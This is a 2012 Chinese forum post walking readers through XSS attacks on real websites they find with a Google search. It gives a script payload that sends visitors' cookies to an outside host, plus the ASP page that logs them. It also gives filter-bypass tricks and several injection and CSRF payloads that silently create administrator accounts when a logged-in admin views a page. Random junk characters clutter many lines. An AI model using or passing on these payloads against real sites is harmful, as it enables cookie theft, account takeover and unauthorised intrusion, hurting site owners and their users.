找回密码
 立即注册
查看: 2289|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: / i& m  K5 O0 l7 `
5 r# _7 q- a. ~% z1 v* d
http://tieba.baidu.com/f?kz=1069007239! D. a# S$ j% x

2 S% b, g) b9 J! l这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。& S3 l5 W2 N* @7 B: k5 B+ K: W1 e

. ?" o$ U$ ?- ^+ Z( p8 M" i但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。- t8 s0 S: E( T: G& F3 o5 c  Q

# H" w" h5 t: h, f9 \4 P我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。/ g( K1 L5 L7 \( c% ~, P* {

1 F9 g+ E) @7 w这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
  N0 Q3 r. k- ]$ x! k2 D+ R
+ v  D6 e8 \& _! z& c% O. H- L2 i好了,废话不多说了,一起来看文章吧。
4 U0 N5 k, X' m) w: O, R; D
3 q: X0 F' [( V3 e' a5 o: l-------------------------------------------------------------------+ x0 u5 U8 u1 K" v( X

/ ^# i3 z  j5 ~; ^! ?' v/ p首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。% q7 Q8 ?6 [7 L* {: S$ x

3 a; x* U+ w- Z4 I4 v( C
" e/ U0 J8 e; A8 w* @3 z& n' r$ u8 i8 E8 ?: H0 d, v3 ]* p
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
, o. g7 k1 w, G( p; x3 y9 `  _: @9 L" e& R! B

* j3 D' C& Z7 q) S# A5 {) O. ~
! ^5 j* d% g! }0 o- I4 z( h这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
7 N4 u' ~; u: L4 K7 e1:让目标访问已跨站的网址,然后这个网址执行脚本
, }  f2 k3 _$ q7 p  a1 F# X2:然后跳转到你已经写好专门用来收集Cookie的网址
! A) j# D' u8 C& O  k% B
/ X! C  ^, R4 T; A具体实现方法:; `6 N* J) O* r; T8 l
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
- L* ]# e9 r! W& S, \这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。$ g1 F# a# o# ^0 H6 D5 n
- r) V& G; V: Z( c" [- Z
这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
. P+ O/ \6 |% v: o2 J9 J( K3 w& K, O% @( c! x' H
<html>/ _6 B: B# a; I0 z% O
<title>xx</title>8 |* [: d  w- p7 L$ U* N* x" I
<body>
5 K1 ]5 K8 g- @9 I7 N. i8 R3 z<%4 V) d5 {' K) g8 b+ g: S! F  Z) K
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中! f/ A4 K: _, ?8 R1 n
msg = Request("msg")   //获取提交过来的msg变量,也就是cookie值9 F+ O% [& a9 X. D" c0 Z
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
2 t/ y; f  J4 k/ Y) jset thisfile = fs.OpenTextFile(testfile,8,True,0)
' w, `4 v* G/ w6 Y  sthisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
: I8 x  S# w6 Q4 ~- j/ y% x- y1 ithisfile.close   //关闭% c) \+ B, u  d4 @
set fs = nothing
+ T9 B$ y4 @1 j8 ]: I$ F7 J6 W1 u  z%>5 T; S, P* M4 x1 m9 |5 s, U. v  E) C; ?% I
</body>8 @( r3 E5 Q2 ?5 E8 [
</html>
3 p- p# C4 ^( P: X0 f" H; R: @3 [0 {5 k% S0 |4 E* R- h
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
  Y- a8 Q2 j  x. p2 R
+ V9 X+ T. T$ a3 O& X
3 {0 R# g9 J/ n" ]- [5 ~8 L
4 J; b- M2 L& k$ |$ q5 S4 U( q+ W  u9 ]5 C; m- |. u, ]$ e
拿出来看看,呵呵,Cookie到手:; Z9 U, g% T7 G1 u- Y6 `. ]
9 L, o# P, b2 b  o' i  @
. m) _' B' t0 e2 v6 E: U+ Z$ E

4 C* X7 z! N& a7 q, T/ W本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
7 q% t" B# n% A$ R' e* g% l5 k
- O0 l: ?6 U$ h1 B$ i2 V7 vPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
/ A3 d4 l& F& V1 l2 k9 E4 B% P$ ?' m. |# b1 F2 t
-------------------------------------------------------------------* j/ Q$ S& [+ U# M

0 Q+ Y4 G5 P6 [6 a下面是我对这个帖子的回复,也一起贴过来吧:
& o) ]2 _4 A! h5 _, |6 J
% [0 B: c! k' W" }说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。( y: H" D, c- _. X! [$ W' a( ]
3 u, ?2 i! Q+ |) v5 S
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。! P( o( J8 @: B! j
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
+ X5 Z, j4 k9 v  ^8 |. D( }3 s- Z3 p6 t! e  ~- [+ `! J1 R
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
1 _& Z! |, ^& X
' C3 a- S9 h& l+ dhttp://user.qzone.qq.com/673116767/blog/1252452536
$ ]% S% V! k$ U" v# i! P8 v. c7 R; n: |; j* l4 W! h: O0 d) A
一般发现一个xss漏洞后要做的基本上就是这些:
" U% C# k0 d$ d7 {' P/ p$ K/ ]5 V" f( O2 O% X( R% ~
1.  伪造请求  使用$_REQUEST或$_GET
/ @: J4 N7 o/ E; d, _: t# R9 h' s* ^% w, V9 n- \
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
4 ?' D  P: k8 o0 ]) h% d. t7 y<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
* p6 g% F  s# K当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。* `% ~$ L& r/ C. \+ T, X+ j

3 q* C% a9 Z  l, J$ O: r如果是可视文本编辑器,可以尝试使用输入:2 P& A( D5 Q8 z3 R( W) D8 q0 ~4 ^
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
* H" f" I  J8 p- k) o这样最终会构造出:
  m$ O/ Y4 R) S% C& F: `<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />- |( [0 z9 i8 W1 Z" X; ^0 `
总之要举一反三。* d4 g7 \- L% d' G4 [' u5 W& m& i4 ]

" |  k$ b7 |; A; N. W; X- o2. 伪造请求  使用$_POST4 m; M% B0 `& u2 B  z

& r$ q4 f' c6 I! \当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
6 b7 J! P8 L! X" r; D4 f0 S<sc/*xss*/ript type="text/javascript">" ]8 E! ]+ ]5 b9 l0 Z; w
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");# ]% S& W: S4 |# y7 M: \! d7 |+ N
aj.open("POST", "/admin/admin_add.asp", false);" a& L1 r, t" B1 I% _
var postdata = 'name=xxx&psd=yyy';
# A+ D. H0 _/ ?aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); ' A: g' A% \+ ?4 V& `9 q8 x( k
aj.send(postdata);0 N% O6 z; y# P$ B, N5 U
</scr/*xss*/ipt>+ M9 h; n) ?$ U% ^* q! i0 B: T
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。4 s1 I( m/ b, |( s* P5 W
7 V* \7 Z( v, D9 n/ `4 ^% @& x
3. 跨站伪造请求 使用$_GET 或 $_REQUEST
. d$ U7 J% [+ ]# t) c9 S8 P! s5 _  ]: T* k+ d
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
, X( N1 u% o0 E2 u  G<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>8 D& m4 ~- e/ A& I1 _) [
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
7 C" B$ K7 d7 q" M9 S% Z4 |5 @9 M/ P2 y) H$ d
4.跨站伪造请求 使用$_POST(0day)% m7 @( s$ b+ j* W/ Q
3 N" y; c/ |3 |
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。3 p- W9 ^( n, g0 @

0 R; s: L4 j' k, C/ E' v但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
* F, C& A- `! O
! S5 Q" T  T. ?4 p1 a" H' _总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
+ C3 z8 I0 ^/ z$ f" p8 C8 n8 a$ Y1 ?. f2 \
OK,该说的都说完了,Over。
7 g0 |  S9 C3 d: i" g2 y! @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表